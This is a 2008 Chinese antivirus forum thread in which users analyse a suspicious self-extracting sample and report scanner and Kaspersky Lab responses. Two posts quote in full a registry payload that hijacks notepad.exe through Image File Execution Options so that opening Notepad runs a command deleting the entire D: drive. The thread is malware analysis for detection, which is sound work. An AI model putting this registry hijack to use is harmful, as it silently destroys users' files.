可疑文件

显示全部楼层 · 发表于 2008-8-13 14:20:43

可疑文件

显示全部楼层 · 发表于 2008-8-13 14:24:36

TO KL

显示全部楼层 · 发表于 2008-8-13 14:24:55

自解压注册表内容：
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe]
"debugger"="cmd /c rd /s/q d:\\"

MS没啥可疑..
——————————————————————
2:28编辑：
仔细看了看注册表项...发现...这家伙的确比较...无聊...
QQ.EXE其实就是一个自解压...
这个其实就是一个很无聊的....利用IEFO的...删除你D盘东西的....一个...东西

[ 本帖最后由 aarwwefdds 于 2008-8-13 14:30 编辑 ]

显示全部楼层 · 发表于 2008-8-13 14:26:06

文件 virus.rar 接收于 2008.08.13 08:24:27 (CET)
当前状态: 完成
结果: 0/36 (0%)

全部CLEAN

显示全部楼层 · 发表于 2008-8-13 14:27:01

金山 0

显示全部楼层 · 发表于 2008-8-13 14:33:47

MS JPG也没什么问题...

显示全部楼层 · 发表于 2008-8-13 16:07:41

Hello.

New malicious software was found in the attached file.
Its detection will be included in the next update. Thank you for your help.

-----------------
Regards, Evgeny Aseev
Virus Analyst, Kaspersky Lab.

Ph.: +7(095) 797-8700
E-mail: newvirus@kaspersky.com
http://www.kaspersky.com http://www.viruslist.com

> Attachment: virus.rar

显示全部楼层 · 发表于 2008-8-13 16:34:24

很无聊的东东..

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe]
"debugger"="cmd /c rd /s/q d:\\"

显示全部楼层 · 发表于 2008-8-13 16:36:43

一打开记事本就删除D盘所有内容...

显示全部楼层 · 发表于 2008-8-13 16:40:44

RS20.57.21未杀！

[病毒样本] 可疑文件

3/0